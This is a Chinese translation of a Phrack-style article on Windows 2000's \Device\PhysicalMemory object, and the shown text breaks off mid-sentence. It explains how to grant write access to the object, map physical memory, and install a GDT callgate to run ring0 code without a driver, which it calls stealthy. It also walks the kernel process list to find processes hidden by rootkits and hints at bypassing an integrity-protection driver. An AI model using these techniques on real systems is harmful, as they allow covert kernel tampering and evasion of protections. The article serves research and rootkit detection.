天天看點

Windows NT 2000 Ring0代碼實作

Windows NT 2000 Ring0代碼實作

跟這篇Windows NT/2000下不用驅動的Ring0代碼實作 是兄弟篇

http://win32.51.net/cgi-bin/topic.cgi?forum=1&topic=4&show=0

玩轉Windows /dev/(k)mem (p59-0x10)

建立時間:2002-08-15

文章屬性:翻譯

文章來源:http://www.xfocus.org/

文章送出:refdom (refdom_at_263.net)

原文:“Playing with Windows /dev/(k)mem”(p59-0x10)

原作者:crazylord 〈[email protected]〉

翻譯:Refdom

Email: [email protected] ([email protected])

Homepage: http://www.xfocus.org /(http://www.opengram.com/)

Date:2002-8-11

(Refdom注:本文提供的一些技術實際上在以前就有很多相關文章了,不過,該文提供了一個非常好的深

入分析的思路,值得學習。)

1、介紹

2、介紹WINDOWS對象

 2.1 它們是什麼

 2.2 它們的結構

 2.3 對象操作

3、介紹 /Device/PhysicalMemory

 3.1 對象

 3.2 需要寫權限?

4、玩 /Device/PhysicalMemory

 4.1 讀/寫記憶體

 4.2 什麼是Callgate

 4.3 不用驅動運作ring0代碼

 4.4 深入到程序表

 4.5 Bonus Track

5、代碼示例

 5.1 kmem.h

 5.2 chmod_mem.c

 5.3 winkdump.c

 5.2 winkps.c

 5.4 fun_with_ipd.c

6、結論

7、參考

--[ 1 介紹

  本文介紹Windows /dev/kmem,我的研究是在Windows 2000 professional上實施的,這意味着本文中的

多數代碼都可以在windows 2000版本上運作,稍經改動,也可以運作在XP上。很明顯Windows 9x/Me不會支援,

因為它們的核心結構并不相同。

--[ 2 介紹Windows對象

  Windows2000使用對象模型來提供非常簡單的方式操作多數基本的核心元素。我們可以在本節看看這些對

象和怎麼去操作它們。

----[ 2.1 What are they?

  按照微軟的說法,設計對象管理器隻要來達到下面這些目的:

  * 使用命名對象友善識别

  * 支援POSIX子系統

  * 提供友善的方法來作業系統資源

  * 提供一種裝填機制來限制程序使用的資源

  * 順應C2安全的要求。

  有27種不同的對象類型:

  * Adapter * File * Semaphore

  * Callback * IoCompletion * SymbolicLink

  * Controler * Job * Thread

  * Desktop * Key * Timer

  * Device * Mutant * Token

  * Directory * Port * Type

  * Driver * Process * WaitablePort

  * Event * Profile * WindowStation

  * EventPair * Section * WmiGuid

  多數這些對象從指令就能夠看出它們是關于什麼的了。我會解釋一些模糊的名字:

  * 一個EventPair隻是2個Event對象

  * Mutant也被稱為互斥體(Mutex),是一種處理資源通路的同步機制

  * Port被LPC(Local Procedure Call)作Inter-Processus 通訊。

  * Semaphore是限制通路資源的計數器

  * Token (Access Token)是安全對象

  * WindowStation是桌面對象容器。

  這些對象可能類似目錄樹結構一樣組織成:

  - /

  - ArcName (symbolic links to harddisk partitions)

  - NLS (sections ...)

  - Driver (installed drivers)

  - WmiGuid

  - Device (/dev linux like)

  - DmControl

  - RawDmVolumes

  - HarddiskDmVolumes

  - PhysicalDmVolumes

  - Windows

  - WindowStations

  - RPC Control

  - BaseNamedObjects

  - Restricted

  - ?? (current user directory)

  - FileSystem (information about installable files system)

  - ObjectTypes (contains all avaible object types)

  - Security

  - Callback

  - KnownDlls (Contains sections of most used DLL)

  "??"目錄是目前使用者目錄,"Device"可以被看作跟LINUX上的/dev一樣。你可以在Sysinternals網站上

找到這個結構。

----[ 2.2 他們的結構

  每個對象都包含兩部分:對象頭和對象實體。Sven B. Schreiber在"Windows 2000 Undocumented Secrets"

一書中定義了多數沒公開的頭部結構。我們可以來看看這些頭結構。

---

from w2k_def.h:

typedef struct _OBJECT_HEADER {

DWORD PointerCount; // number of references

DWORD HandleCount; // number of open handles

POBJECT_TYPE ObjectType; // pointer to object type struct

BYTE NameOffset; // OBJECT_NAME offset

BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset

BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset

BYTE ObjectFlags; // OB_FLAG_*

union

  { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock

PQUOTA_BLOCK QuotaBlock;

POBJECT_CREATE_INFO ObjectCreateInfo;

  };

PSECURITY_DESCRIPTOR SecurityDescriptor;

} OBJECT_HEADER, *POBJECT_HEADER;

---

  頭部中的每個偏移量都是負數偏移量,是以你如果想從頭結構中找到OBJECT_NAME結構,你應該這樣計算:

  address = object_header_address - name_offset

  OBJECT_NAME結構允許建立者通過賦一個名字讓對象對其他程序可見。

  OBJECT_HANDLE_DB結構允許核心跟蹤目前誰正在使用該對象。

  OBJECT_QUOTA_CHARGES結構用來定義了程序通路對象的配額。

  OBJECT_TYPE結構存儲關于對象類型的全局資訊,比如:預設的安全權限,對象大小,程序使用對象的默

認配額等。

  對象綁定的安全描述符可以讓核心來限制對象通路。

  每一個對象類型的内部程式都十分接近C++對象中的構造和析構:

  * dump method -可能是為了調試目的,總為NULL

  * open method -當對象句柄打開時被調用

  * close method -當對象句柄關閉時被調用

  * delete method -當對象句柄删除時被調用

  * parse method -查詢對象清單時被調用

  * security method -讀寫保護的目前的對象時被調用

  * query method -當線程查詢對象名時調用

  * "ok to close" -線程關閉句柄時調用

  對象體的結構完全依靠對象類型,在DDK中隻有很少部分的對象體結構被公開。如果你對這些結構感興

趣,你可以使用google 或者檢視chapeaux-noirs的首頁(參見[4])

--- [ 2.3 對象操作

  以使用者模式的觀點來看,對象操作隻要是通過Windows API來執行。比如,為了通路檔案對象,可以使

用 fopen()/open(),它們調用 CreateFile(). 我們轉化到核心模式 (NtCreateFile())在ntoskrnl.exe

中調用IoCreateFile()。通過反編譯IoCreateFile(),可以看見一些函數,比如:ObOpenObjectByName,

ObfDereferenceObject,……

  (BTW:如果用在DDK站點(參見[2])下載下傳的win2k symbols,隻能看見這些函數,用支援Windows Symbols

檔案的反編譯器比如IDA/kd/Softice 因為這些函數沒有被導出。)

  每個函數都以Ob開頭,表示同對象管理器相關。基本上,普通的開發者不必去處理這些對象,但我們要

去看看。

  對于使用者模式,所有的對象管理器相關函數都可以被ntdll.dll輸出,這裡有一些例子:

  NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,

NtMakeTemporaryObject, NtOpenDirectoryObject, ...

  有些函數在MSDN中公開了,但是多數沒有。

  如果你真想了解對象的工作方法,最好看看ntoskrnl.exe中導出的以Ob開頭的函數。有21個導出函數,

其中6個是公開的。

  如果你想看看其他15個的原型,去ntifs.h的首頁(參見[3])或者去chapeaux-noirs站點(參見[4])。

--[ 3 - 介紹/Device/PhysicalMemory

  為了檢視對象資訊,我們需要一個類似微軟DDK中的核心調試工具。好,讓我們現在開始……

Microsoft(R) Windows 2000 Kernel Debugger

Version 5.00.2184.1

Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:/winnt/symbols

Loading Dump File [livekd.dmp]

Full Kernel Dump File

Kernel Version 2195 UP Free

Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0

Loaded kdextx86 extension DLL

Loaded userkdx extension DLL

Loaded dbghelp extension DLL

f1919231 eb30 jmp f1919263

kd〉 !object /Device/PhysicalMemory

!object /Device/PhysicalMemory

Object: e1001240 Type: (fd038880) Section

  ObjectHeader: e1001228

  HandleCount: 0 PointerCount: 3

  Directory Object: fd038970 Name: PhysicalMemory

  從kd(kernel debugger)剖析基本對象告訴我們一些資訊。不必解釋所有内容的意義,他們中的大多數

都非常清楚隻要你讀了文章開頭,如果沒有,請"jmp dword Introduction_to_Windows_Objects"。 

  感興趣的是,它是一個Section對象,清楚地表明我們要處理記憶體。現在我們要dump對象的頭結構。

kd〉 dd e1001228 L 6

dd e1001228 L 6

e1001228 00000003 00000000 fd038880 12200010

e1001238 00000001 e1008bf8

details:

--〉 00000003 : PointerCount = 3

--〉 00000000 : HandleCount = 0

--〉 fd038880 : pointer to object type = 0xfd038880

--〉 12200010 --〉 10 : NameOffset

  --〉 00 : HandleDBOffset

  --〉 20 : QuotaChargeOffset

  --〉 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE

--〉 00000001 : QuotaBlock

--〉 e1008bf8 : SecurityDescriptor

  NameOffset存在,不要驚訝,這個對象有一個名字……,但是沒有HandleDBOffset。這意味着這個對象

不跟蹤配置設定的句柄。QuotaChargeOffset并不有意思,ObjectFlags告訴我們這個對象是永久對象,并且被核

心建立。

  到現在還沒有非常有意思的東西……

  dump這個對象的名字結構,隻是确信我們沒有走錯方向 :)。 (記住偏移量是負數)

kd〉 dd e1001228-10 L3

dd e1001228-10 L3

e1001218 fd038970 001c001c e1008ae8

--〉 fd038970 : pointer to object Directory

--〉 001c001c --〉 001c : UNICODE_STRING.Length

  --〉 001c : UNICODE_STRING.MaximumLength

--〉 e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd〉 du e1008ae8

du e1008ae8

e1008ae8 "PhysicalMemory"

  現在出現有意思的部分了,安全描述符:

kd〉 !sd e1008bf8

!sd e1008bf8

-〉Revision: 0x1

-〉Sbz1 : 0x0

-〉Control : 0x8004

  SE_DACL_PRESENT

  SE_SELF_RELATIVE

-〉Owner : S-1-5-32-544

-〉Group : S-1-5-18

-〉Dacl :

-〉Dacl : -〉AclRevision: 0x2

-〉Dacl : -〉Sbz1 : 0x0

-〉Dacl : -〉AclSize : 0x44

-〉Dacl : -〉AceCount : 0x2

-〉Dacl : -〉Sbz2 : 0x0

-〉Dacl : -〉Ace[0]: -〉AceType: ACCESS_ALLOWED_ACE_TYPE

-〉Dacl : -〉Ace[0]: -〉AceFlags: 0x0

-〉Dacl : -〉Ace[0]: -〉AceSize: 0x14

-〉Dacl : -〉Ace[0]: -〉Mask : 0x000f001f

-〉Dacl : -〉Ace[0]: -〉SID: S-1-5-18

-〉Dacl : -〉Ace[1]: -〉AceType: ACCESS_ALLOWED_ACE_TYPE

-〉Dacl : -〉Ace[1]: -〉AceFlags: 0x0

-〉Dacl : -〉Ace[1]: -〉AceSize: 0x18

-〉Dacl : -〉Ace[1]: -〉Mask : 0x0002000d

-〉Dacl : -〉Ace[1]: -〉SID: S-1-5-32-544

-〉Sacl : is NULL

  總之,這意味着/Device/PhysicalMemory對象有下面的權限:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,

  Query State, Modify State

user Administrator: Query Data, Query State

  基本上,管理者使用者沒有權限寫,但是SYSTEM可以,這實際上意味着管理者也可以做到!

  一定注意到實際上這不象/dev/kmem!!在LINUX中/dev/kmem映射虛拟記憶體,/Device/PhysicalMemory

映射實體記憶體,本文更确切的标題應該是"Playing with Windows /dev/mem"因為/dev/mem映射實體記憶體,

但/dev/kmem聽起來更熟悉些。:)

  據我所知,在我寫這篇文章的時候,Section對象體結構還沒有解剖開,是以我們還不能分析它的結構。

----[ 3.2 需要“寫”權限?

  好,我們是使用者administrator,并且打算玩玩感興趣的對象,該怎麼做呢?正如多數Windows管理者

所知,可以用schedule服務運作任何程序作為SYSTEM使用者。如果你想确信你可以,隻要啟動schedule用

“net start schedule”并且去打開一個任務執行regedit.exe

c:/〉at 〈when〉 /interactive regedit.exe

  之後可以試試看看SAM系統資料庫,如果能檢視,那麼你SYSTEM使用者,如果不能,你就仍舊是administrator

因為隻有使用者SYSTEM才擁有讀的權力。

  好,如果我們是administrator使用者,但如果我們允許任何人寫/Device/PhysicalMemory會發生什麼

呢?(當然是為了學習的目的)

  我們隻要給這個對象添加另一個ACL,就可以了。按照下面的步驟:

  1、打開/Device/PhysicalMemory句柄 (NtOpenSection)

  2、找到它的安全描述符 (GetSecurityInfo)

  3、在目前ACL中添加Read/Write授權 (SetentriesInAcl)

  4、更新安全描述符 (SetSecurityInfo)

  5、關閉先前打開的句柄

  可以參考示例代碼:chmod_mem.c

  當運作了chmod_mem.exe,我們再一次dump/Device/PhysicalMemory的安全描述符。

kd〉 !object /Device/PhysicalMemory

!object /Device/PhysicalMemory

Object: e1001240 Type: (fd038880) Section

  ObjectHeader: e1001228

  HandleCount: 0 PointerCount: 3

  Directory Object: fd038970 Name: PhysicalMemory

kd〉 dd e1001228+0x14 L1

dd e1001228+0x14 L1

e100123c e226e018

kd〉 !sd e226e018

!sd e226e018

-〉Revision: 0x1

-〉Sbz1 : 0x0

-〉Control : 0x8004

  SE_DACL_PRESENT

  SE_SELF_RELATIVE

-〉Owner : S-1-5-32-544

-〉Group : S-1-5-18

-〉Dacl :

-〉Dacl : -〉AclRevision: 0x2

-〉Dacl : -〉Sbz1 : 0x0

-〉Dacl : -〉AclSize : 0x68

-〉Dacl : -〉AceCount : 0x3

-〉Dacl : -〉Sbz2 : 0x0

-〉Dacl : -〉Ace[0]: -〉AceType: ACCESS_ALLOWED_ACE_TYPE

-〉Dacl : -〉Ace[0]: -〉AceFlags: 0x0

-〉Dacl : -〉Ace[0]: -〉AceSize: 0x24

-〉Dacl : -〉Ace[0]: -〉Mask : 0x00000002

-〉Dacl : -〉Ace[0]: -〉SID: S-1-5-21-1935655697-436374069-1060284298-500

-〉Dacl : -〉Ace[1]: -〉AceType: ACCESS_ALLOWED_ACE_TYPE

-〉Dacl : -〉Ace[1]: -〉AceFlags: 0x0

-〉Dacl : -〉Ace[1]: -〉AceSize: 0x14

-〉Dacl : -〉Ace[1]: -〉Mask : 0x000f001f

-〉Dacl : -〉Ace[1]: -〉SID: S-1-5-18

-〉Dacl : -〉Ace[2]: -〉AceType: ACCESS_ALLOWED_ACE_TYPE

-〉Dacl : -〉Ace[2]: -〉AceFlags: 0x0

-〉Dacl : -〉Ace[2]: -〉AceSize: 0x18

-〉Dacl : -〉Ace[2]: -〉Mask : 0x0002000d

-〉Dacl : -〉Ace[2]: -〉SID: S-1-5-32-544

-〉Sacl : is NULL

  新的ACE(access-control entry)是Ace[0],擁有0x00000002權限(SECTION_MAP_WRITE)。需要更多

資訊,可以檢視MSDN中的Security win32 API [9]

--[ 4 - 玩轉/Device/PhysicalMemory

  為什麼要來處理/Device/PhysicalMemory?我可以說用來讀、寫、修補記憶體。這已經足夠了。 

----[ 4.1 讀寫記憶體

  我們開始吧……

  為了讀寫/Device/PhysicalMemory,必須:

  1、打開對象句柄 (NtOpenSection)

  2、轉化虛拟記憶體位址為實體位址

  3、映射section到實體空間 (NtMapViewOfSection)

  4、在被映射的記憶體中讀寫資料

  5、關閉section的映射 (NtUnmapViewOfSection)

  6、關閉對象句柄 (NtClose)

  現在我們的主要目的是怎麼轉化虛拟記憶體位址為實體位址。我們知道在核心模式(ring0),有一個函

數 MmGetPhysicalAddress (ntoskrnl.exe)可以做到。但是我們現在在ring3,是以必須來“模拟”這個

函數。

---

from ntddk.h

PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);

---

  PHYSICAL_ADDRESS是quad-word (64 bits)的。原本打算在文章開頭分析一下彙編代碼,但是它太長

了。位址轉化也很普通,我隻想快點進行這個題目。

  quad-word的低位被傳遞給eax,高位傳遞給edx。要轉化虛拟位址到實體位址,可以有兩種辦法:

* case 0x80000000 〈= BaseAddress 〈 0xA0000000:

  我們唯一要做的隻是提供一個0x1FFFF000掩碼虛拟位址

* case BaseAddress 〈 0x80000000 && BaseAddress 〉= 0xA0000000

  這種辦法對于我們來說有點問題,因為我們并沒有辦法在這個範圍轉化位址,因為我們需要讀cr3記

錄或者運作非ring3可調用的彙編指令。需要更多資訊,可參考Intel Software Developer's Manual 

Volume 3 (see [5]).

  EliCZ告訴我,以他的經驗可以猜測一個實體位址偏移掩碼,保留部分的索引。掩碼:0xFFFF000

  這是一個輕量級版本的MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {

  if (BaseAddress 〈 0x80000000 || BaseAddress 〉= 0xA0000000) {

  return(BaseAddress & 0xFFFF000);

  }

  return(BaseAddress & 0x1FFFF000);

}

  對于限定位址邊界為[0x80000000, 0xA0000000]主要是這情況不能更成功地猜測正确。這就是為什麼

如果你想更準确最好還是調用實際上的MmGetPhysicalAddress()。我們可以在一些章節中看到怎麼做的。

請參考程式:See winkdump.c

  使用winkdump之後,我意識到實際上還存在另外的問題。當轉化0x877ef000以上的虛拟位址,實體地

址得到的結果是0x00000000077e0000以上,但在我的系統上根本不可能!

kd〉 dd MmHighestPhysicalPage l1

dd MmHighestPhysicalPage l1

8046a04c 000077ef

  從上看出最後的實體頁面定位在0x0000000077ef0000。這意味着我們隻能dump一小片記憶體,但總之本

文的目的是為了得到更好的了解關于怎麼用/Device/PhysicalMemory,而不隻是做一個好的memory dumper。

雖然可dump的範圍是ntoskrnl.exe 和 HAL.dll (Hardware Abstraction Layer)映射的區域,你仍然可以

做一些工具來dump系統調用表:

kd〉 ? KeServiceDescriptorTable

? KeServiceDescriptorTable

Evaluate expression: -2142852224 = 8046ab80

  0x8046ab80是系統服務表結構,象這樣的:

typedef struct _SST {

  PDWORD ServiceTable; // array of entry points

  PDWORD CounterTable; // array of usage counters

  DWORD ServiceLimit; // number of table entries

  PBYTE ArgumentTable; // array of byte counts

} SST, *PSST;

C:/coding/phrack/winkdump/Release〉winkdump.exe 0x8046ab80 16

*** win2k memory dumper using /Device/PhysicalMemory ***

Virtual Address : 0x8046ab80

Allocation granularity: 65536 bytes

Offset : 0xab80

Physical Address : 0x0000000000460000

Mapped size : 45056 bytes

View size : 16 bytes

d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)

Counter table : NULL

ServiceLimit : 248 (0xf8) syscalls

Argument table : 0x804708bc (symbol KiArgumentTable)

  我們還沒有dump248個系統調用位址,隻是看了看類似這樣的:

C:/coding/phrack/winkdump/Release〉winkdump.exe 0x804704d8 12

*** win2k memory dumper using /Device/PhysicalMemory ***

Virtual Address : 0x804704d8

Allocation granularity: 65536 bytes

Offset : 0x4d8

Physical Address : 0x0000000000470000

Mapped size : 4096 bytes

View size : 12 bytes

bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K.

* 0x804ab3bf (NtAcceptConnectPort)

* 0x804ae86b (NtAccessCheck)

* 0x804bdef3 (NtAccessCheckAndAuditAlarm)

  在下面一節,我們會了解什麼是callgate,以及我們同/Device/PhysicalMemory怎麼用它們去解決

剛才位址轉化的問題。

----[ 4.2 什麼是 callgate

  callgate是一種能讓程式運作在比它實際權限更高權限下的機制。比如,ring3的程式可以去執行

ring0代碼。

  要建立一個callgate,必須指定:

  1) 需要代碼執行在什麼ring等級

  2) 當跳轉到ring0時會被執行的函數位址

  3) 傳遞給函數的參數

  當callgate被通路的時候,處理器首先進行權限檢查,儲存目前的SS,ESP,CS,EIP寄存器,然後

加載segment selector和新的堆棧指針(ring0堆棧),從TSS到SS,EIP寄存器。這個指針就可以指到新

的ring0堆棧。SS和ESP寄存器被PUSH到堆棧中,參數被拷貝。CS和EIP(儲存的)PUSH到堆棧中去調用程

序到新的堆棧。新的segment selector被加載用來處理從callgate被加載到CS和EIP中的新的代碼片段和

指令指針。最後,它跳轉到在建立callgate時候指定的函數位址。

  一旦完成後,在ring0執行的函數必須清除自己的堆棧,這就是為什麼我們在代碼中定義函數的時候

要用_declspec(naked)(MS VC++ 6) (類似GCC中的__attribute__(stdcall))

---

from MSDN:

__declspec( naked ) declarator

  對于用naked申明的函數,編譯器不會産生prolog和epilog代碼。你可以用這些特性通過inline彙編

碼來寫自己的prolog和epilog代碼。

---

  要了解關于更多關于callgate的資訊,請參考Intel Software Developer's Manual Volume 1 ([5]).

  為了安裝一個Callgate,可以有兩種選擇:手工在GDT尋找新的空餘入口,用來放置我們的Callgate;

或者用ntoskrnl.exe中的未公開函數,但是這些函數隻能在ring0通路。由于我們并不在ring0,是以沒有

太多的用處,但我還是簡要地說明一下:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray, 

  USHORT nSelectors);

NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray, 

  USHORT nSelectors);

NTSTATUS KeI386SetGdtSelector(USHORT Selector,

  PVOID Descriptor);

  從它們的名字就可以知道其作用了。:) 是以,如果你打算安裝一個callgate,首先使用

KeI386AllocateGdtSelectors() 配置設定一個GDT Selector, 然後通過KeI386SetGdtSelector 來設定。完成後,

通過KeI386ReleaseGdtSelectors來釋放。

  這還是很有意思,但是不符合我們的需要。是以在ring3執行代碼的時候需要設定一個GDT Selector。

這接近/Device/PhysicalMemory了。在下一節,我會解釋怎麼用/Device/PhysicalMemory來安裝callgate.

----[ 4.3 不用驅動運作ring0代碼

  第一個問題,“為什麼運作ring0代碼不需要用裝置驅動?”

優點:

  * 不需要向SCM注冊服務

  * 秘密代碼 

缺點:

  * 代碼不能跟裝置驅動那樣穩定

  * 需要添加寫權限到/Device/PhysicalMemory

  是以要緊記,當通過/Device/PhysicalMemory運作ring0代碼的時候,你會遇到很多困難的。

  現在我們可以寫記憶體并且我們知道我們可以用callgate來運作ring0,那麼還等什麼呢?

  首先,我們需要知道section的什麼部分映射去讀GDT表。這并不是問題,因為我們能通路全局的描述

符表記錄通過sgdt編譯指令。

typedef struct _KGDTENTRY {

  WORD LimitLow; // size in bytes of the GDT

  WORD BaseLow; // address of GDT (low part)

  WORD BaseHigh; // address of GDT (high part)

} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;

_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

  我們轉化虛拟位址從BaseLow/BaseHigh到實體位址,然後我們隐射GDT表的基位址。我們很幸運,即

便GDT表位址并不在我們“想象”的範圍内,它也能正确被轉化 (99%的可能)

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh 〈〈 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,

  ProcessHandle,

  BaseAddress, // pointer to mapped memory

  0L,

  gGdt.LimitLow, // size to map

  &PhysicalAddress,

  &ViewSize, // pointer to mapped size

  ViewShare,

  0, // allocation type

  PAGE_READWRITE); // protection

  最後我們循環映射的位址去找到一個空閑的selector, 通過檢視Callgate描述符結構中的"Present"

标記。

typedef struct _CALLGATE_DESCRIPTOR {

  USHORT offset_0_15; // low part of the function address

  USHORT selector;

  UCHAR param_count :4;

  UCHAR some_bits :4;

  UCHAR type :4; // segment or gate type

  UCHAR app_system :1; // segment descriptor (0) or system segment (1)

  UCHAR dpl :2; // specify which privilege level can call it

  UCHAR present :1;

  USHORT offset_16_31; // high part of the function address

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

  offset_0_15 和 offset_16_31正好是函數位址的低位 和 高位。selector可以是下面所列的一個:

--- from ntddk.h

#define KGDT_NULL 0

#define KGDT_R0_CODE 8 // 〈-- what we need (ring0 code)

#define KGDT_R0_DATA 16

#define KGDT_R3_CODE 24

#define KGDT_R3_DATA 32

#define KGDT_TSS 40

#define KGDT_R0_PCR 48

#define KGDT_R3_TEB 56

#define KGDT_VDM_TILE 64

#define KGDT_LDT 72

#define KGDT_DF_TSS 80

#define KGDT_NMI_TSS 88

---

  一旦callgate被安裝,就還有兩步去得到最高的ring0權力:編寫我們callgate調用的程式和調用

callgate。

  正如在4.2中所介紹,我們需要編寫一個函數,并且有ring0的prolog / epilog,而且我們需要自己

清除堆棧。看看下面的示例代碼:

void __declspec(naked) Ring0Func() { // our nude function :]

  // ring0 prolog

  _asm {

  pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack

  pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack

  cli // disable interrupt

  }

  // execute your ring0 code here ...

  // ring0 epilog

  _asm {

  popfd // restore registers pushed by pushfd

  popad // restore registers pushed by pushad

  retf // you may retf 〈sizeof arguments〉 if you pass arguments

  }

}

  推送所有的寄存器到堆棧中可以讓我們在ring0代碼執行的時候儲存下所有的寄存器。

  還剩一步,調用callgate……

  一個基本的調用不适用與這種定位于ring0而實際在ring3的callgate程式。我們需要進行"far call"

(inter-privilege level call), 是以為了調用callgate,必須這樣做:

short farcall[3];

farcall[0 --〉 1] = offset from the target operand. This is ignored when a

callgate is used according to "IA-32 Intel Architecture Software

Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

  這個時候,我們可以調用自己的callgate通過inline彙編。

_asm {

  push arg1

  ...

  push argN

  call fword ptr [farcall]

}

  我忘記提醒了,callgate函數中,farcall的第一個參數定位在[ebp+0Ch]。

----[ 4.4 深入程序清單

  現在我們可以去看看怎麼用最低的等級去列舉核心的程序。這個目的就是為了在低等級下建立一個

核心程序枚舉程式,可以用來檢視被rootkit隐藏的程序 (修改過taskmgr.exe,系統調用hook等)

  - Process32First/Process32Next, 最簡單的公開途徑(基态)

  - 使用Class 5的NtQuerySystemInformation,Native API。雖然沒有被公開,但是網上有很多例

子(level -1)

  - 用ExpGetProcessInformation,它實際是被NtQuerySystemInformation所調用的(level -2)

  - 讀取雙向連結清單PsActiveProcessHead (Level -3) 

  現在我們已經足夠深入了。這個雙向連結清單看起來象這樣:

APL (f): ActiveProcessLinks.FLink

APL (b): ActiveProcessLinks.BLink

  process1 process2 process3 processN

0x000 |----------| |----------| |----------| 

  | EPROCESS | | EPROCESS | | EPROCESS |

  | ... | | ... | | ... |

0x0A0 | APL (f) |-----〉| APL (f) |-----〉| APL (f) |-----〉 ...

0x0A4 | APL (b) | /-〈--| APL (b) | /-〈--| APL (b) | /-〈-- ...

  | ... | | ... | | ... |

  |----------| |----------| |----------|

  正如你所見(也許我的示意圖畫得不好),ActiveProcessLinks結構的next/prev指針不是_EPROCESS

結構指針。它們指向的是另一個LIST_ENTRY結構。這意味着如果我們要得到_EPROCESS結構位址,必須調

節指針。

  (請看例程中kmem.h定義的_EPROCESS結構)

  LIST_ENTRY ActiveProcessLinks位于_EPROCESS結構的偏移0x0A0:

--〉 Flink = 0x0A0

--〉 Blink = 0x0A4

  是以,我們可以建立一些宏供以後使用:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS

#define TO_PID(_a) ((char *) _a - 0x4) // Flink to UniqueProcessId

#define TO_PNAME(_a) ((char *) _a + 0x15C) // Flink to ImageFileName

  LIST_ENTRY連結清單的頭是PsActiveProcessHead。可以用kd得到它的位址:

kd〉 ? PsActiveProcessHead

? PsActiveProcessHead

Evaluate expression: -2142854784 = 8046a180

  隻需要知道一件事情。這個連結清單改變非常的快,你可以在讀之前鎖定它。下面的程式是用彙編來讀

ExpGetProcessInformation:

  mov ecx, offset _PspActiveProcessMutex

  call ds:[email protected]@4

  [...]

  mov ecx, offset _PspActiveProcessMutex

  call ds:[email protected]@4

  ExAcquireFastMutex 和 ExReleaseFastMutex被定義為_fastcall,是以參數被反向順序壓棧

(exc,edx,……)。它們在HAL.dll輸出。BTW,我沒有在winkps.c中鎖定。 

  首先我們安裝一個callgate來執行ring0函數 (MmGetPhysicalAddress and 

ExAcquireFastMutex/ExReleaseFastMutex) ,然後我們枚舉程序,最後移除callgate。

  請看winkps.c

  你在例程中所見,安裝callgate是簡單的一步。困難的部分是讀LIST_ENTRY結構。這有點點奇怪,

因為讀一個連結清單不應該象假定的那麼困難,但是要清楚的是,我們在處理實體記憶體。

  首先要避免使用太多的callgate,要盡可能少用。記住,在ring3運作ring0代碼不是“好事”。在

線程執行的配置設定級就會發生問題,第二,你的線程(我認為)會有比裝置驅動更低的優先權,即使你使

用SetThreadPriority()。

  排程程式基于兩件事情進行排程,程序的基本優先權和目前優先權,當你用win32 API SetThreadPriority()

修改線程的優先權,目前優先權被改變,但是它隻是相對于基本優先權而言的。在ring3,沒有辦法去

改變程序的基本優先權。

  為了不去影射程序所有的section,我隻在需要的時侯映射1mb的section。我認為這是最好的辦法,

因為多數的EPROCESS結構被定位在0xfce***** 到 0xfcf*****範圍内。

C:/coding/phrack/winkps/Release〉winkps

*** win2k process lister ***

Allocation granularity: 65536 bytes

MmGetPhysicalAddress : 0x804374e0

virtual address of GDT : 0x80036000

physical address of GDT: 0x0000000000036000

Allocated segment : 3fb

mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)

mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)

+ 8 System

mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)

+ 136 smss.exe

+ 160 csrss.exe

+ 156 winlogon.exe

+ 208 services.exe

+ 220 lsass.exe

+ 420 regsvc.exe

+ 436 svchost.exe

+ 480 svchost.exe

+ 524 WinMgmt.exe

mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)

+ 656 Explorer.exe

+ 764 OSA.EXE

+ 660 mdm.exe

+ 752 cmd.exe

+ 532 msdev.exe

+ 604 ssh.exe

+ 704 Livekd.exe

+ 716 i386kd.exe

+ 448 uedit32.exe

+ 260 winkps.exe

  3 sections mapping + 1 來選擇第一個程序隊列看起來還不錯。我會在winkps.c中仔細描述,但

最好還是花時間去讀代碼。

winkps.c的流程

 - GetSystemInfo()

  先配置設定系統的間隔 (用于計算位址轉化的偏移)  

 - LoadLibrary()

  取得ntoskrnl.exe中的MmGetPhysicalAddress位址。這也可以通過分解PE頭做到。

 - NtOpenSection

  r/w打開/Device/PhysicalMemory

 - InstallCallgate()

  映射section來安裝和删除callgate,并且用第二個參數作為Callgate函數來安裝。

 - DisplayProcess()

  主循環。通過異常處理捕獲錯誤。我這樣做是為了嘗試清除Callgate即使發生類似越界通路的錯

誤(錯誤的映射就會發生)

 - UninstallCallgate()

  删除Callgate,取消映射

 - NtClose()

  簡單地關閉句柄 

  現在,你最好讀代碼了,并且嘗試重寫winkdump.c,用支援callgate更好的位址轉化。 :〉

----[ 4.5 Bonus Track

  我能知道的是,現在唯一的産品來限制/Device/PhysicalMemory通路的是"Integrity Protection 

Driver (IPD)" Pedestal Software (see [6]).

---

from README:

  The IPD forbids any process from opening /Device/PhysicalMemory.

---

  呵呵,用ipd,我們也要去接觸/Device/PhysicalMemory, 我不知道這個産品是否有名,但是無

